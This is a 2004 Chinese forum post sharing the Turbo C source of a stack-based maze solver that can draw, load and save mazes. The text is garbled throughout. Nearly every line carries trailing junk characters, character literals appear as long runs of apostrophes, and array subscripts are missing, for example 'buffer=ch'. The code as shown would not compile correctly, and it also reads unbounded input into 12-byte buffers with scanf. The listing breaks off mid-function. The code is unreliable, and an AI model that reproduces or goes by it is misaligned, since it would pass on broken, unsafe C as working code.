QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7585|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
0 `% W# q. t' ]4 A. H# Q< align=left>程序目的:2 ~! v! _2 j) H6 a4 b' G
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
0 i- x2 q& m: J显示在屏幕上。5 e( P/ i0 d6 k
程序实现:3 s- y1 T: j) k% ?( v
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
& `* z; @- q% |/ e. [* y- G0 a文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
6 W1 [; J7 y/ o4 t( i6 k7 F入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
  W  E8 n- c9 G) x时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。" {1 H+ Y# T# Q6 d- G
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,: l7 S$ Y) D# S: f4 f
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
- h/ `& Y2 d; }/ h将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,$ K$ V* s5 {7 g5 R
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
3 q( Z( B3 z$ O0 l( [( l0 \程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。/ |2 r. g7 G  B
不可以在VC上编译。+ T% I: w8 g/ C! U
下载DOS版和windows版的迷宫游戏全部代码! h5 }9 S8 r! G- o: P( O
用户名:migong
; t) K# J  i& u' {----------------------------------------------------------------------------------
& S5 @; M' `$ J' a( l2 Q% o/ r/*4 s& {& V. h0 m0 v, r+ v& }
MazePath Demo BY Turbo C 2.0
4 h. M7 Z+ J- U! [; w2 p1 lCopyright(c) RoverUnion. All right reserved.2 W+ d7 W( f. K8 {
Filename: Maze.c
' |( A- O- \/ k4 i8 m2 W& `# ~Author Dongchengyu.
" q' P' x) ?& d; kVer 1.10
; B' q8 Q3 z3 D# z0 r8 ?0 U* z: b*/
1 H$ {/ d2 a2 W' V' q; r) V#include &lt;stdio.h&gt;
! Y: c. e, V) y#include &lt;stdlib.h&gt;
' P* @  F7 S& B& J! N8 G: Q% M3 Z#include &lt;malloc.h&gt;
$ f! Q, ^: Y5 K) l$ o- ?#include &lt;conio.h&gt;
; R% t* q) H" `#include &lt;dos.h&gt;
* n! t! D, a) M; z4 c) R#define OK 1: A) ~" l# V  H" ?9 ~
#define ERROR 0, P2 J6 q' X9 t+ q. t0 |
#define TRUE 1
8 A& F+ ?( T  D#define FALSE 0
5 H9 k5 @1 A7 g) j, u- b; s; d#define F9 0x43
9 F1 U2 U9 \( u: L#define Esc 0x1b
" p1 M9 r! [% k3 Q0 M9 R+ z# k#define Del 0x538 ^5 J, D8 b' g7 p8 F
#define Home 0x47+ Z! R, ~1 E, V
#define End 0x4f
0 R9 s4 W- f8 l- Y4 f4 E#define Space 0x20# l( q, R& ?1 J7 s, z8 H
#define Up 0x484 h2 W; D- |- L
#define Down 0x50. m2 j: w# P0 P
#define Left 0x4b; E5 T( ~( q' b+ H, e
#define Right 0x4d
- B6 s0 s" N& B# k1 b#define Enter 0x0d( m* Q2 I% K& H( e( R' V
#define F2 0x3c
9 j6 N4 D3 O; T3 ^#define F3 0x3d, }. w" c( M* z: p& E$ s, j9 U( c
#define STACK_INIT_SIZE 200
1 S/ q, k( ~1 u#define STACKINCREMENT 10
* N0 I4 H& O! e4 s  N" ztypedef int Boolean;' d" m2 g* ^1 p: f7 m8 ?
typedef int Status;. s" m8 J0 `3 I: F5 q5 k& u
typedef struct {, V+ F8 S( J& S! S. z/ ~
int x;' c5 s, W5 s* m- T
int y;/ K+ X6 o3 q3 q; i
} PosType;$ y$ H8 a5 ?+ c+ `  W6 n2 |# j
typedef struct {
6 O/ [( u7 y7 `5 cint ord;
( ~) w( c9 J) aPosType seat;8 M' N' n4 Z/ T, W/ Y3 t
int di;* J. e" s+ G9 J: i  }
} SElemType;9 z7 Q* N9 b& J
typedef struct {' @* v$ m1 l  H. S
int td;
# n/ @5 F. ?  w1 y) }int foot;* l. c# |, [6 n* |3 Y1 M$ z
int mark;, m3 \: R6 Z5 O9 ?6 {
} MazeType;4 _& Q; T/ i: @9 ]# l
typedef struct {- v& v; R0 `1 e) S# x$ l9 r" U/ Y
SElemType *base;$ _0 }5 C6 g- B5 o# J1 \
SElemType *top;
" t; `' s: s+ R( |. y# tint stacksize;4 @$ B4 c9 F! }9 i
} Stack;8 D0 }# P3 p1 t' K8 z. z: a
int Maze[20][30];1 z! V0 B7 Q: v  a
MazeType maze[20][30];
6 k7 M5 G9 H# sPosType StartPlace;
, J. r& R1 R2 x$ mPosType EndPlace;
' O3 I# J/ X' g$ jint count;
2 G" y/ e$ m: `int m,n;8 e* d( }/ `/ F, W/ w$ `
Boolean b_start=FALSE,b_end=FALSE;
- N! h% S. T. H5 ]" Mvoid CreatMaze(void);. @, \0 c0 g! t# U% t
Status SaveMaze(char *filename);1 o- v5 k3 D- N  a- F: Q
Status LoadMaze(char *filename);7 W# ~1 D( u3 r9 A$ |2 O, I
void Error(char *message);
' {  a: E8 H# o1 X/ S$ ?Status InitStack(Stack *s);  K3 R9 c3 z, A
Status DestroyStack(Stack *s);7 W) K( r* k( X, H3 w6 V: v! ^% O
Status ClearStack(Stack *s);
+ T9 w9 \( D0 j$ \! Q$ PBoolean StackEmpty(Stack *s);
( S, w/ H! t" b6 S( N9 Wint StackLength(Stack *s);# b3 T2 S+ x" n' K
Status Push(Stack *s,SElemType e);3 A2 k9 X# t9 x
SElemType Pop(Stack *s,SElemType e);
9 [& [# ]1 ~! @3 p4 c2 C( XStatus GetTop(Stack *s,SElemType *e);+ E" u$ S; _" D- z2 u
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));$ C- j1 p  O  j  R  y% A2 Z4 |8 m
Boolean Pass(PosType curpos);8 R7 Q0 L8 `2 O6 E
void MarkPrint(PosType seat);4 ^4 ]4 ]9 x) Y
void FootPrint(PosType curpos);( q/ x0 a. z) s  U
PosType NextPos(PosType seat,int di);- H+ g6 t# f$ ]$ A. J( d) _- |2 O; x
Status MazePath(PosType start,PosType end);
9 |, @$ y( i7 h' \! O1 ]% |void CreatMaze(void)
9 Y" h7 S2 N' d% [9 a$ U/* Form the maze. */
+ u& x$ ^9 C2 I) E! [{
5 e: l! |8 U& qvoid Error(char *message);
+ I6 I- r. p2 X. B; B6 DStatus SaveMaze(char *filename);: V8 E+ W0 Z$ M3 f9 y
Status LoadMaze(char *filename);
+ [. {. ~! I7 A4 C! Qint i,j;) U: B, n9 `& T# W5 s- C( O$ R
int x,y;
6 N0 b' g! g/ f1 [# S, f0 `2 `char c;
. t* Y0 O- G0 z3 X, @" l3 H/ _char savename[12],loadname[12];
* E7 a: N2 d' X: _) g- jBoolean flag=FALSE,load=FALSE;, a4 t* o6 g" v- j# i
clrscr();# k; ~9 p# B, S0 H% o
printf("Menu:\n\n");( M# D; K. i" i9 _% N
printf("1.Load Mazefile*.dd)\n\n");
4 F$ [. W4 b: k6 d: Y( `printf("2.Input Maze:\n\n");2 N6 R' U- ~. r) i  c. ?, P- ?
printf("Input your choice: ");% g; x: {& o& c  o; J+ |8 T
do
. P! k9 ]$ c& e. H: b  [{
! v0 t+ A- {( m/ g$ P, E" vc=getch();3 ^. ]* ^; |+ O0 ^/ z* o, R% v
switch(c)1 T. f* q7 V3 p) |/ R! H' n* J
{) t% ?+ z# A, A4 E+ T, V
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;$ }* O. r) V- r7 h
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
' A9 q1 c; }; ?) W* Lcase Esc: sleep(1); exit(1);! A$ O$ `3 W6 x2 |$ U) N0 D$ g- x
default: break;
: H: I8 L  h; `' f* w+ y: R}6 l' o* x1 E# p3 t& L8 V
}
; r# R" M& M  C9 ~. c* D+ ?2 Q3 wwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;2 a" W+ G  C0 f
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')" _( Z' B+ J8 o
{
4 c  @8 q* A3 ?5 m/ [7 ]printf("\n\nLoadName: ");
4 s' P) D& H; Z4 f' m/ L0 e6 k$ Bscanf("%s",loadname);, k. V4 E( b7 j: y
if(LoadMaze(loadname))
( X3 B, u; N) h$ u+ L{
. U$ T+ y/ U9 @& D; msleep(1); load=TRUE;
) w! M8 u8 I/ P. ~  q' R}
7 o* r. b+ R2 [; M/ Nelse { gotoxy(1,9); printf("Load fail! "); }# |& I" p: q- O: _4 f
}6 {& n/ C7 f5 ?- j( I) P! t. S
if(!load)* G, J- ?  Y* N: {/ B: V; y# j
{
8 ^# ]8 d4 M1 |0 eprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");8 r7 s) Q% u: S* B
printf("\nInput Length :\n");
9 |; Y; t' u$ V  Rscanf("%d",&amp;m);
3 z4 Y3 Y2 {) |, A0 d3 C: zprintf("\nInput Width :\n");& j  o5 g3 V" S% _: l: n! w4 b
scanf("%d",&amp;n);
# n3 R# k' B0 y. aif(m&lt;4||n&lt;4) Error("Input");+ M4 R# P$ o* ^5 \& v  ]' Y
if(m&gt;30||n&gt;20) Error("Maze too large");9 q, Q  G& t' V; I8 N$ h% d+ U
for(i=0;i&lt;30;i++)
9 y1 ~* j' x" Kfor(j=0;j&lt;20;j++)7 O9 g9 z8 k- }3 s
Maze[j]=2;
4 r8 d8 }8 ?; _0 ~! b, gStartPlace.x=0;/ K5 K% n6 I" N( s5 K% a3 r' k
StartPlace.y=0;- l% _# e: o5 ?  A7 s4 m7 k( q
EndPlace.x=0;1 D: v! F8 t8 @' ~# ~
EndPlace.y=0;4 w, D! L) o' L1 _2 Q
clrscr();  l7 g* W% Z6 t) U7 I$ I' e
printf("\n");( f0 l; t* @( K: o. B& a
for(i=1;i&lt;=n;i++)8 p6 E+ c- x  o3 n6 T7 K. Q9 l
{
; ?% k+ O8 Q2 N* m' N6 ?+ afor(j=1;j&lt;=m;j++)
" S; |/ T: W' p- H9 p{; W4 z" u/ ^7 L; b
printf(" #");' @  ~3 v7 @* d7 _" z8 N% E+ t) @  V
Maze[i-1][j-1]=0;6 l# f4 A, W- y: B( @1 n9 Q7 {  S
}
& H, v' }0 o" V9 R' nprintf("\n");: A- u# \0 L* W  ~5 d% Z, b- g
}9 X4 ]  u& M! s: N  n
}9 ~  m6 {7 T- C3 h( J* x
gotoxy(65,5);
( w* J. H9 j% Q( zprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");5 W2 L; u  ~6 _1 [
gotoxy(65,7);/ T' O& n5 J/ f! Q4 q3 b/ j
printf("Start:Home");  H7 B* ~4 W4 e5 [
gotoxy(65,9);
' g+ H; v/ [& K& L! y% b9 Xprintf("End:End");  c; ]+ Y% o2 f  t
gotoxy(65,11);& ]  t0 K" r4 U" K4 `
printf("Delete Wallel");
9 o, Z( \9 i/ y1 k: a" `gotoxy(65,13);
& p$ M0 R  ]; e' m$ fprintf("Enter Wall:Enter");: N: [# q! X9 g& T! h2 \) G
gotoxy(65,15);1 \9 S& R( E6 @' N) D. a5 m
printf("Save Maze:F2");. f8 G0 E- V* o8 ]% W
gotoxy(65,17);
. w" t; _5 ]* J1 p7 O' b6 p( dprintf("Complete:F9");: e- y8 ]' Y. [0 }2 o) w, A
gotoxy(65,19);
( H8 v; Y0 s- O6 k8 h7 i1 N# \printf("Exit:Esc");' a7 Z1 ]) C" s0 W2 g; X
gotoxy(4,3);
" @3 g4 L) ^! a; P) i* h- rx=4;y=3;% E& A) l) E8 _6 a- z
do) }5 X2 G) d5 x9 ~8 U) s+ p
{: K/ n) i0 b7 Q! d3 y' y6 ?
c=getch();
7 Y$ }- @8 Z8 b, x. s4 D% Jswitch(c)3 y( T* O8 S1 @6 p" I) ^3 H
{2 [8 s! V9 \$ g" z0 }! l
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
- c% l- h) I! ?* ?: s: Lbreak;
7 q1 L+ T( J: f" |# H0 zcase Down: if(y&lt;n) { y++; gotoxy(x,y); }  r  t5 _8 n  Q' n5 d7 Y3 n
break;
/ v- n3 `7 Y9 x/ B, C; T$ scase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }% l" L- t+ ~: j% G: j5 \* [
break;- }% {2 A: q) P" Q+ `# s$ g6 T
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
% N9 M2 Y9 t  K9 C1 |' H- N9 c" Mbreak;
; c5 M2 j% r& R/ [9 L7 Rcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;1 C, W) [3 U! ?  Y; N* T
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;! c9 R; ^4 y, r- p( f+ W
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
# T) g! F2 o$ l8 R+ v; e, \break;: x( ]4 J4 D3 j* N
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;1 E* I' @0 k" A+ y
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
, H3 {/ J( c) ?8 u0 [6 `$ y4 xputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);1 O- u& m' R, Q/ S8 ^0 P9 y$ R- K
break;
" V8 d8 h3 ?# q: C7 F! Ucase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
6 O! |5 |" S# a* `6 _6 X1 o3 K{
% Y- r2 W; ^+ l/ s. R1 ^StartPlace.x=x/2-1;
  J7 F2 k. @! `, vStartPlace.y=y-2;  K. u4 g1 T( A" A
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
' a* i. Y5 Y" J9 qgotoxy(x,y);+ B3 J1 @# y: j; [& b
b_start=TRUE;, V8 z4 m0 o9 s
}
0 ^! ]8 H: T5 a- Xbreak;
  T; s. b. k9 V$ x( Bcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)5 j8 e" `/ d- F
{
/ {. u- {) A, E* G' ?2 [( AEndPlace.x=x/2-1;
# V8 s4 }$ A; vEndPlace.y=y-2;
6 d. e& l6 j8 `- w$ E4 J( oputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');- T* W+ r, t. R7 v* Q
gotoxy(x,y);
$ Z' N1 @5 L; ?" G; V, O( i4 `b_end=TRUE;
+ J* Z' y( R& W' V3 i}
" F6 T2 ]/ m) a- B" tbreak;
1 _5 Q( ^6 T+ Ocase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
9 l$ J5 M' z9 e  U6 \case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;+ J# O! y- Y$ L
case F2: gotoxy(2,22);
* ^1 P3 c$ V! `! {printf("Savename:");
" w: X' j* [$ w- d& d# C& j1 mscanf("%s",savename);
" w; p5 a) {8 ]0 S! e3 ggotoxy(2,22);) x' n) a6 V* |* _! b. [
if(SaveMaze(savename)) printf("Save OK! ");
; y% C1 C& Y, O, nelse printf("Save fail! ");
: T9 I/ T) Z8 d- @sleep(1);
& L; B( J& P$ c  x* L+ T3 {gotoxy(2,22);
' U2 f+ ~* _( o2 w- m) jprintf(" ");1 y" ?* w3 t+ k0 y7 _
gotoxy(x,y);& m# h0 M% n8 f- a8 R
break;6 v1 v* o8 W) k, A5 ~; _
default: break;6 S5 Q2 U) P9 g( _7 ]
}2 k3 S! |5 G0 V: @
}8 ?  h5 D  @# X3 x0 r, ?
while(!flag);
/ G; y% V. p: h: @2 Ifor(i=0;i&lt;30;i++)
8 G7 Q: P, L- B5 U9 e" qfor(j=0;j&lt;20;j++)" s: G1 e+ t9 q+ o. g# n1 J4 l
{0 g, Z/ i" ^, v3 g* E: c
maze[j].td=Maze[j];- X0 W0 f, ~9 j8 P  a
maze[j].mark=0;$ D- z% V3 D2 b# n/ G1 I" Y' R6 r9 Y
maze[j].foot=0;2 X! I- B' j" D, `+ i
}
# h( D' Y: }' O}
! P; ~+ S" [2 x, z8 X" U5 |Status LoadMaze(char *file)1 ?& |, F5 d" m/ G
/* The maze has been loaded. */
( O6 g. ~; A& m* l  p' L# f0 @{
& I. S- p: o" }1 v) S% KFILE *fp;* n7 B" _- O( e( A
char *buffer;+ F2 v) \; j: F# u: G
char ch;
4 n. ]8 w( y: Oint i=0,j,k;
: e4 H( C8 A/ T: f( OBoolean len=FALSE,wid=FALSE;* O- t0 v& V2 _3 `
if((fp=fopen(file,"r"))==NULL)
; m6 t! r0 S6 C, C; |return ERROR;
' d* q2 B& [4 q7 {2 [buffer=(char *)malloc(600*sizeof(char));
7 u+ M  e' h5 S( I! s; [; wch=fgetc(fp);4 N3 _: u7 z4 h/ u' I6 q
while(ch!=EOF)! K9 e. }9 `' X" ?* y! ?! Q+ M5 `
{
1 n. ^" Z8 P" ?+ m. P) N7 V4 Sbuffer=ch;7 U8 r! ~" X# r- X" e8 h' O  e
i++;" }8 {' a! E5 l, c0 A: L0 g2 K/ b
ch=fgetc(fp);
' i, `' |0 ^8 g/ o' T# n! C2 d& h}
0 _7 X: R9 c$ j9 `; U# J  Nm=30;n=20;$ q" G. B! w) h& n& ?+ D
for(i=0;i&lt;600;i++)- G# K7 e+ a1 J& Q
{
7 R) H  u2 ~4 n, ^' v- Ej=i/30; k=i%30;5 E4 ^9 D7 z* i- d+ n3 M
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }/ f" {* T; V, c2 N, [
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
3 p# E# |# G- X+ {6 L$ Eswitch(buffer)! W  m, j: Z! Z& s( S  K
{' N7 k" G, g; b2 n
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
& r, B& l2 h. U; `) vcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;7 E$ X3 g& }0 Y+ g; @  E7 r8 b1 x' C
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;' `  g3 N8 \: H; S7 b
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;1 v3 }) l; W! y/ ?& M/ d
StartPlace.x=k;
2 }" |! G+ @  f& C, _StartPlace.y=j;0 d! _4 d6 J# t0 c. T' y
b_start=TRUE;- Z( v. N5 r* |5 C7 @
break;
' p2 i4 a5 F* `+ m  {% O9 Pcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
; F9 t6 X: ]; fEndPlace.x=k;
+ ^) u& ?5 j$ y) kEndPlace.y=j;
6 [7 n5 a& ^& l: v! z: g# o3 tb_end=TRUE;/ v3 i& h* h# i( E4 C; s
break;
1 `% H' ^7 s: W* W6 qdefault : break;
( G0 H/ E' v- g+ t7 n& {8 Y2 r}) d6 H* N; T+ f* q& c% z
}
' v4 [0 t. U. p' }. f2 `: R$ ]5 Xfclose(fp);1 ~  B( s9 i0 N  A9 X) n
clrscr();& _* ^" X/ c  \( K3 K3 C6 h
for(i=0;i&lt;30;i++)- W5 c4 B- F8 U) H. V+ G
for(j=0;j&lt;20;j++)3 L- S1 n  B$ z; O5 `% w7 i
{; P6 A: ~; G! j
maze[j].td=Maze[j];( f4 [1 c: C  k
maze[j].foot=0;
8 j8 M4 \4 L9 A& M5 Kmaze[j].mark=0;
$ n4 h8 L# w; P) qif(Maze[j]==0)
$ d. G% i4 u& U8 k1 e{
$ ?$ Y/ `( e- _; H  X3 j# Igotoxy(2*i+2,j+2);
' y! t7 V/ Q) p0 x( o, |putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');% r/ P* D5 u3 p2 P
}: J4 s  i7 O' |5 F& L  h& |
}
1 g. D( |- X# c' D3 v& tgotoxy(2*StartPlace.x+2,StartPlace.y+2);3 y/ _& o& u% A' G' o  t. j; Q5 P
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');+ K4 \! `. }2 Z9 n
gotoxy(2*EndPlace.x+2,EndPlace.y+2);- P! x/ K: R# _+ M. @9 B* N- U) X
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
9 H; P+ h% }1 d* h# s5 }. Z% Preturn OK;$ c, {& O& h* I  O  @
}! E/ Z2 h2 N7 @" J; X' d
Status SaveMaze(char *filename)4 K* D$ s' s. I5 ^
/* The maze has been saved. */9 J! c# q! u# R: z3 F( B
{
+ J5 v- j* N3 {5 gFILE *fp;
9 `- c" ^6 C1 l: p* Lchar *buffer;
. |; Q" A4 @) h- qint i,j,k;
9 ?8 x: _4 \" G7 D4 }) |fp=fopen(filename,"wb");9 F4 c* s. @' f9 E0 {
buffer=(char *)malloc(600*sizeof(char));
# e, q7 `* b$ ~. Q  {for(i=0;i&lt;600;i++)
/ V! Z1 O) ]+ m7 Y2 |, @7 o{
% [$ c1 B$ U; N5 Z+ ?! Uj=i/30; k=i%30;7 d- C5 N0 r" E4 Z
switch(Maze[j][k])5 j; G* \" y) K1 d( J# K3 }' ~
{
* y; Q0 I: o1 t9 h' ccase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
; A3 N8 E; r$ m1 X! E! Xcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
5 m7 j) |  m7 R8 n) e% lcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
1 z2 o( O- q/ H0 `* kdefault : Error("Write"); break;
( s; |! Z6 I# R; t}8 |' `8 ?. y1 E6 [3 u+ B2 A) @2 t7 s
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
# n4 ^9 @: j/ @4 K1 a2 Qif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
4 i$ N& Q( n  @  E% |- ^0 ^- _- G}; h( S( J6 R( [' w4 }  K# x0 {" j
fwrite(buffer,600,1,fp);
! E1 o0 h/ J! ~: i0 r2 ifree(buffer);
1 v) \) N4 }( o  q8 a8 ]9 I$ _7 \fclose(fp);7 D( K0 H/ }! k3 j
return OK;! f" M) m+ b2 K
}
; T9 x- G5 O  S1 Z* @void Error(char *message)
# @; h3 w9 c3 Y* W{
& O3 `$ z% `6 `7 N. i/ G6 pclrscr();
- T, p* ]+ _- D+ ~fprintf(stderr,"Error:%s\n",message);
1 \# g- q4 G3 a$ uexit(1);
' E2 n& a( |5 B% i0 h} /* Error */7 F; s; ]  Q& J# _4 G; @
# O. z: S+ P/ U( ]
Status InitStack(Stack *s)& C* A. _: x7 R/ \- p3 Q+ t* U
/* The stack s has been created and is initialized to be empty. */2 E7 a( {9 \8 s, {1 w
{
/ U: a. {5 X0 n9 ~5 Xs-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
- t' f5 J  a# [) s+ wif(!s-&gt;base) Error("Overflow");
3 l. V) j( A0 I7 e+ s- ds-&gt;top=s-&gt;base;
4 |8 h1 f0 x! X% ss-&gt;stacksize=STACK_INIT_SIZE;
+ j9 E1 I$ ]) o4 Q9 D3 mreturn OK;8 U/ Y" e8 b! _
} /* InitStack */
4 X: O  Y4 ~, c0 U: d: G1 S. E) Y# sStatus DestroyStack(Stack *s)
# l. R6 j: P  L3 p* `3 j" K" ?. r4 A/* The stack s has been destroyed. */
% x; v9 ]% A$ v4 v+ u4 w3 Y  ]: L# t: S{
9 U1 T" l. @- x6 y& ws-&gt;top=NULL;
6 W7 Z# {5 H& v* }1 ]  \s-&gt;stacksize=0;( [  w9 L) ~& B% ?2 G" {, Z
free(s-&gt;base);
  {9 w5 a3 k2 o% k# C& ^! os-&gt;base=NULL;
) d( b- N1 X& M0 p* \1 sreturn OK;' j5 ?9 q3 l6 u% C* K
} /* DestroyStack */: {4 `* T( s# ]! d
Status ClearStack(Stack *s)# w: l9 u, \7 _' V7 w
/* The stack has been clear to be maximum. */0 i0 x( N+ [, m7 F. X$ F5 L
{6 }  {' W0 x! F7 M2 M4 C7 k& B
s-&gt;top=s-&gt;base;+ z9 \9 p/ F# C
s-&gt;stacksize=STACK_INIT_SIZE;1 S+ n, \! O- }$ v7 m0 t& W
return OK;$ b$ @% H  v6 i7 ?5 v' ~
} /* ClearStack */# u0 H" B' h' k
Boolean StackEmpty(Stack *s)$ |2 \$ W& g/ d9 ]0 t/ I
/* Check if the stack s is empty. */  V! c4 c  M4 L* ^0 I% j; l
{
4 T6 C% q0 u: w7 x, n2 {if(s-&gt;top==s-&gt;base) return TRUE;1 w3 Q" B  b% i# ?4 r
else return FALSE;
8 d7 H# I; s0 z( e} /* StackEmpty */
9 p. S- V8 \3 wint StackLength(Stack *s)+ w) {6 W3 O5 B/ e2 H( e
/* Gain the length of the stack s. */4 x- I6 z( @0 E* [
{
. _, [, l: q! x. E8 V( Cif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);6 O1 L9 n. R8 m* Q7 W! Z
else return 0;3 G( Z4 _2 `9 r2 B
} /* StackLength */4 \; w8 F" B) F( I
Status Push(Stack *s,SElemType e)
- a, Y& ]4 m% l! E; e: F/* The element e has been pushed into the stack s. */# X/ [3 U  h2 o" a' Y  K9 q0 f- ~) l
{
+ |# A, a: n7 a; pif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)8 Z$ [: S) M/ M! m9 _; r9 ~
{3 ]% v) j6 Q' D8 ^, F& [- |$ v
s-&gt;base=(SElemType *)realloc(s-&gt;base,0 S1 B* Z  C* a. q/ n+ Q. n6 j
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
" z+ F* a$ w  _3 i% x4 b2 h" _" tif(!s-&gt;base) Error("Overflow");
/ K2 C# G- ^/ N9 y% ~s-&gt;top=s-&gt;base+s-&gt;stacksize;
. d  u' h( _. E0 c. N* A  Q. P( [( }s-&gt;stacksize+=STACKINCREMENT;# b5 `  U1 _  f* A/ {- ^
}7 k5 z8 J2 G- x7 J( R
*s-&gt;top++=e;
4 F# L# ^8 l- ^7 ^return OK;, D% Z' I3 ~# T/ b1 R5 p( Y0 _! C2 }
} /* Push */5 C6 L' [7 R3 K! ?
SElemType Pop(Stack *s,SElemType e)
: E9 \5 b: f6 N  b7 g# \/* The element e has been removed from the stack s. */, n9 ?  a2 d: }% g) s1 A
{
+ o0 h  j. H) T; \if(s-&gt;top==s-&gt;base) Error("op");
' |) s$ k" D0 Fe=*--s-&gt;top;8 z) j; G3 ~+ V- A1 ?1 x
return e;
" u7 |1 Y  o, E1 {- f8 @) D5 M} /* Pop */
% p# `# l, ]% AStatus GetTop(Stack *s,SElemType *e)
. S$ A" k( M- b& k0 T6 X/* The element e has got to the top of the stack s.*/
0 D+ _, g  d* B+ x8 N* J{
) M8 d: o, ?" j- Oif(s-&gt;top==s-&gt;base) Error("GetTop");
; Q9 o% r. e2 d2 A*e=*(s-&gt;top-1);
8 A# t) U* J& A9 rreturn OK;/ ~' [" b' b) ]5 `
} /* GetTop */% E% O' d1 p2 ~
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
3 C& v1 G8 D1 H$ l. w/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
$ `1 H, u- s6 I5 y) l- Y{
6 N2 e3 y0 \7 M5 GSElemType p;( F) c+ C4 |! u! L5 m; k
int result;
  x1 S! W' H% |. Bif(s-&gt;top==s-&gt;base) return ERROR;+ j( V. P: B/ H6 }/ p0 T$ S& R
p=s-&gt;base;
9 P2 p/ ?* p7 t- O7 `7 S& ewhile(!(p==s-&gt;top))
( i  P  g" i" I2 L; T{
5 X: _* \+ s' S4 r& fresult=(*visit)(p);
" y3 U8 A0 d# a! Fp++;  }8 L( T( `0 U% a& a1 d
}- E( F( Y9 S% F1 [; M  {9 @+ R6 n
return OK;
; S% {  Q2 p& f' h; ]1 n) s} */
4 b7 z, S# Z1 |4 W1 h2 |2 |4 c3 H4 wBoolean Pass(PosType curpos)
: z! }7 G$ q: s2 d5 F3 x' S3 s4 o9 z/* Check if the current position can be passed. */; {, h6 J& I& F
{' g, W0 T  G4 Q3 g
if(maze[curpos.x][curpos.y].td==1&amp;&amp;6 ~9 f; J9 f# x+ u
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
) l* K9 V  d8 H# K; q* ^( I9 j1 Vreturn TRUE;
: C- O( p7 @5 F" Q6 delse return FALSE;
- u4 U! P! l) I& c* O} /* Pass */
3 v8 K/ a" e% Q3 t' J+ `, J9 D+ hvoid MarkPrint(PosType seat)2 [. Z& u5 F* m1 k
/* Mark the position seat. */4 x& T/ T8 j9 l2 X1 A; t
{
